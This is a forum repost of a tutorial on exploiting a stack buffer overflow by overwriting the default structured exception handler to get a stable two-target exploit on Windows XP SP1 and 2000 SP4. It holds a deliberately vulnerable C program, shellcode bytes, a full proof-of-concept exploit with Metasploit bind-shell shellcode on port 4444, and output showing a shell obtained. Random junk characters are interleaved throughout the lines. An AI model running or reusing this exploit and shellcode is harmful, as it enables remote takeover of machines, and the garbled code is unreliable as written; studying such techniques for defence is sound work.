QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2432|回复: 0
打印 上一主题 下一主题

Exploiting Default Exception Handler to Increase Exploit Sta

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-19 10:39 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.
; E: z. z! u& F8 `4 B! e1 g
% O" |0 W) G6 X' c[Buf] <- Shellcode4 h3 a. p4 y. l1 z+ X: K
[Return Address] <- jmp register (for Windows XP sp1). f  w- B! z6 \3 c
[Various Stack Data] <- Junk! m6 d6 z  L# I( O
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward9 k6 g4 ^& V6 y% ]
[SE Handler] <- jmp register (for Win2k sp4)
. u3 I& K  T3 |7 K1 \( P' O1 s$ y[Stage1 Shellcode] <- stage1 shellcode for win2k
8 w2 S" I& j+ K3 S3 `& x
2 {& t% I! K) {  EIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses, i: \1 D6 n# R; \3 `" {( R) ^

& {/ ?  `8 v/ k9 nNecessary Tools:
! }, Z5 {9 P* P- OllyDBG
; ?4 e' W2 H6 ?% Q3 U2 s- C/C++ Compiler
7 {# J2 I/ N8 c; Z: ^* u- nasm
6 A  z5 n  \" x. ~- Sac
5 ~0 \0 F8 s# j7 d
2 n! O9 f4 J4 e" e! MVulnerable Code:
0 T% u% k7 t0 c, l6 q//lamebuf.c+ y6 N2 a+ @4 ?; O6 G4 a! |
#include<stdio.h>7 W9 U! {! d& \9 R! H
#include<string.h>
- k' i) u* G! z, x1 O% H# n" |9 M#include<windows.h>, k$ K+ [) |, [" b8 u
int main(int argc,char *argv[]){+ n" C& }% s: }# s. l; D, ]$ I) A
4 k( ]0 p7 ^, d4 [( F1 w
char buf[512];6 B4 M8 d, S1 n# j6 i! u$ [
char buf1[1024]; // <- simulate a stack$ S& K+ {+ x- s1 f  o$ G$ G
//DebugBreak();: U, |, v: u/ e9 ?; S
if (argc != 2){ return -1; }# ]" R( U4 g0 L- I* ]

1 F! K. f: m+ ~4 |) bstrcpy(buf,argv[1]);* d# g& y5 B7 L4 p4 p
return 0x0;
) \7 w& L& r/ b' m}
8 k( f. u, R2 k+ d
6 `# d' u7 U8 u4 \Getting Started:
; }+ g! e* Z, K2 |2 VBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:; Q% a8 }& W0 [* o7 m0 N

, ?; j2 f' k9 K4 h! W! @+ U, bEAX 00000000
8 _1 j' W! Y" l7 n# [ECX 00321404) t. C9 {' Z, W+ i: W2 n
EDX 00414141
$ ^% z4 _$ L* @( ?4 t/ a/ _EBX 7FFDF000
8 b5 f/ Z2 A  \, }' n4 k) U: `ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"6 J: {5 ~' x7 Q! y4 q7 ]: v
EBP 41414141
  t  }* x4 H" S' S$ `5 t& c4 gESI 77D4595F: X  a- q% Y! R( @3 f& t
EDI 77F59037 ntdll.77F59037
) W: y7 w8 O- iEIP 41414141+ t3 w, {6 U9 V' T4 c
+ Z' ~& E  V$ W6 n" P. j) Y; T
Lets take a look at the stack and see what happened to the default exception handler:; i- s( U: ~* k$ `
0x0012FFB0 41414141 Pointer to next SEH Record
! |1 h! S8 b/ T% S. }4 @0x0012FFB4 41414141 SE Handler) d0 r7 R( t5 n- D" D
8 {  h! R+ e% F  l) D! v- L, p
We successfully overwrote the return address and the default exception handler.
8 ]9 h) }& I; h) r/ W: c7 d
8 B) d3 S0 P# C% T0 ZPrimary Return Address (Windows XP SP1 EN):% G& q" V9 r, L
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:5 S- X- w0 d& s( Y
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4". M) U1 m! D  ^0 V. {1 K6 V

( a. W0 b5 n2 ^( lSecondary Return Address (Windows 2000 SP4 EN):! f/ ^0 Z  V5 ^
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:" Q8 S, f# U+ \3 [# [8 N# r) p
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"
8 E: F9 @  W2 Z# s/ ?( w& V# T: ?, m6 _0 }2 X7 u" ?
Proof Of Concept:
  ]. h4 x4 {9 \// exploit.c0 x0 h- R3 F6 u
// Tal zeltzer - [Double Return] //6 s6 J7 W7 m- ?, ?- b; ^% O
( _' g& D, g! l0 R- j
#include<stdio.h>; \1 v: E3 I" @& _1 Y9 r; P
#include<string.h>; a# Q! b& Y7 [# S
#include<windows.h>0 O- d9 M* N) s# l3 F2 o6 h
* x( U8 J7 S; D& t) e
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp
* J8 |3 ~. T4 d7 c  X#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx
+ v0 v8 G0 L1 R' [
; M+ T8 a+ V& ^$ O/ l3 l// Stage1 For WinXP Sp1 English, k8 d$ e* S9 G
unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";: D% G! G- q- a/ V5 h+ s2 X

2 j: p2 R" p8 Z' r// Stage1 For Win2k Sp4 English) \, _# p; M/ C- S! s
unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";- A7 M1 ^9 j( H: X$ N2 B. b6 m" z
6 ?( O: @+ Z1 w, d1 {( l
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com( V) Q, Z6 A: x  w& J* t, r
unsigned char shellcode[] =% z2 z2 {" d- a8 t, f8 t4 A
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
( |, x6 q* H7 v  V2 a3 G- Q"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
. @$ M  v- g, p# i& z: ["\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
3 G/ d0 W+ o  u' k8 q"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
5 `; t9 ~6 R" Q! [& c"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"" Z5 [4 y/ t# x& B& m2 h4 W
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"7 j& V- Y, h2 o7 N6 i$ B
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"& S* T  C5 n2 ]1 ?1 N: V' f
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"4 u/ |  w5 T5 D, C, q3 p% `  f& V
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
, H# `( ?; Z) {5 M! K"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
% u) f) ~9 ^' `/ k, {"\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e\xb0\xf0\x2f\xf0\xe2"; h6 a4 v3 O% A# @* v3 g
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"5 e2 a9 P5 F1 R, d' d$ d4 [
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
& ?4 t+ Q$ e9 ]( q# Y& R1 A, B+ q0 k; _% D% D+ X4 A* t, A
3 `6 V2 ?0 G3 Y4 N% U/ J7 M+ W
int main(int argc,char *argv[]){
" s4 S& q( P1 [0 T
" h/ X0 g# c2 qchar *bufExe[3];
# Y( J1 R- N* y( q% h: _$ _4 bchar buf[2048];
7 D3 Z/ {; d% m. M" @0 A8 `bufExe[0] = "lamebuf.exe";8 t) d% }! P% M' p
bufExe[2] = NULL;
8 f+ J1 ?0 U* c% N+ W( ]+ W7 @2 K2 q5 ^5 q
memset(buf,0x0,sizeof(buf));
8 o1 ~+ l5 }" D- V4 {7 tmemset(buf,0x90,1652);
* S* p! u+ }! _+ Bmemcpy(&buf[24],shellcode,sizeof(shellcode)-1);, g/ t, p$ x# L( B+ T; P4 A7 P9 [9 l

) ?9 a3 E( K0 X5 P* H* kmemcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode, l( j+ }+ g% g+ o; @
memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode
, ~1 `  V$ Y8 }4 X; [8 ?2 W4 V
*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en
1 s8 u9 _9 \  t* {) D5 l*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code8 N, F! @4 l) g; q
*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en
" x. {: c2 q3 G1 u2 Z# K6 v4 O( M& u8 e5 M: U

6 m1 h' ^( G3 O' e5 t4 {bufExe[1] = buf;
7 B& t& H8 O. L4 z& H! k! d//Execute the vulnerable application
6 R# N" D( ?& ^0 _2 U( {% Aexecve(bufExe[0],bufExe,NULL);. V4 p! W( s6 e: Y% X
! x, i' B; R* X% j0 {
return 0x0;+ P& ]$ u2 m, }0 B
}
, E( Z9 Q* h* j/ b6 A' c& q. C- U  U- O
Exploit under Windows XP SP1:' ~' m1 t; @8 n9 ~, U% M  v9 c
C:\>exploit
8 M& J) v; {& K0 n& I% QC:\>9 c! I0 A/ _8 h  y: _% k
C:\>telnet 127.0.0.1 4444
9 R4 s9 j3 f4 c
9 _# k8 u. ?4 o/ ^6 O$ k! IMicrosoft Windows XP [Version 5.1.2600]
5 u4 ^" O% S( \/ j(C) Copyright 1985-2001 Microsoft Corp.
; `3 r" k" R( f- H/ i. X+ b- G- F% N3 s: A
C:\>) w+ A! r5 r0 `: s+ o
2 `. h, X% o- B$ r
Exploit under Windows 2000 SP4:
9 N, H  U# `0 Y0 X! T3 TC:\>exploit5 L% a& @! O7 }# A1 W. l' O. T, n5 ~
C:\>0 N. u0 j5 |+ a
C:\>telnet 127.0.0.1 44446 N& P# \) l' i. k4 ^+ E* w

$ k) w' X& W0 U+ F6 IMicrosoft Windows 2000 [Version 5.00.2195]* a: A  x8 p; r% c
(C) Copyright 1985-2000 Microsoft Corp.
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-19 07:34 , Processed in 0.397496 second(s), 51 queries .

回顶部